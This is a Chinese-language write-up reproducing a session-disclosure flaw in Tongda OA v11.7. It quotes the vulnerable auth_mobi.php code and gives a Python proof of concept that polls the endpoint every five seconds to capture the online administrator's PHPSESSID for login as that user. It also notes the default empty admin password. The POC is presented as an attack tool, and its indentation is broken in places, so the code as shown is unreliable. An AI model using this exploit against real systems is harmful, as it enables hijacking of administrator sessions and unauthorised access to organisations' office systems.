通達OA v11.7 在線用戶登錄漏洞

漏洞環境搭建

訪問https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe下載

按步驟安裝即可

漏洞復現

漏洞有關文件 MYOA\webroot\mobile\auth_mobi.php

<?php

function relogin()
{
    echo _('RELOGIN');
    exit;
}
ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility.php';
if ($isAvatar == '1' && $uid != '' && $P_VER != '') {
    $sql = 'SELECT SID FROM user_online WHERE UID = \'' . $uid . '\' and CLIENT = \'' . $P_VER . '\'';
    $cursor = exequery(TD::conn(), $sql);
    if ($row = mysql_fetch_array($cursor)) {
        $P = $row['SID'];
    }
}
if ($P == '') {
    $P = $_COOKIE['PHPSESSID'];
    if ($P == '') {
        relogin();
        exit;
    }
}
if (preg_match('/[^a-z0-9;]+/i', $P)) {
    echo _('非法參數');
    exit;
}
if (strpos($P, ';') !== false) {
    $MY_ARRAY = explode(';', $P);
    $P = trim($MY_ARRAY[1]);
}
session_id($P);
session_start();
session_write_close();
if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
    relogin();
}　

此SQL語句會查詢用戶是否在線，如在線返回此用戶 Session ID

使用管理員用戶登錄（默認admin，密碼為空）

 

先訪問http://192.168.207.132:8006/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0

F12可查看用戶的Session ID值

 

此時瀏覽器已獲取到session ID值

訪問登錄頁面也可成功登錄。

當目標離線時則訪問漏洞頁面則會出現如下圖

5秒一次測試用戶是否在線

通過此思路可以持續發包監控此頁面來獲取在線用戶的Cookie

POC驗證

#coding=utf-8
import requests
import sys
import random
import re
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: 通達OA 11.7                                               \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')
def POC_1(target_url):
    vuln_url = target_url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
    headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "RELOGIN" in response.text and response.status_code == 200:
            print("\033[31m[x] 目標用戶為下線狀態 --- {}\033[0m".format(time.asctime( time.localtime(time.time()))))
elif response.status_code == 200 and response.text == "":
            PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(response.headers))
            print("\033[32m[o] 用戶上線 PHPSESSION: {} --- {}\033[0m".format(PHPSESSION[0] ,time.asctime(time.localtime(time.time()))))
else:
            print("\033[31m[x] 請求失敗，目標可能不存在漏洞")
            sys.exit(0)
except Exception as e:
        print("\033[31m[x] 請求失敗 \033[0m", e)
if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
while True:
        POC_1(target_url)
        time.sleep(5)

　　

 

 

參考鏈接：

https://mp.weixin.qq.com/s/5M40Oux_89dgy5QAUhULGg

https://github.com/PeiQi0/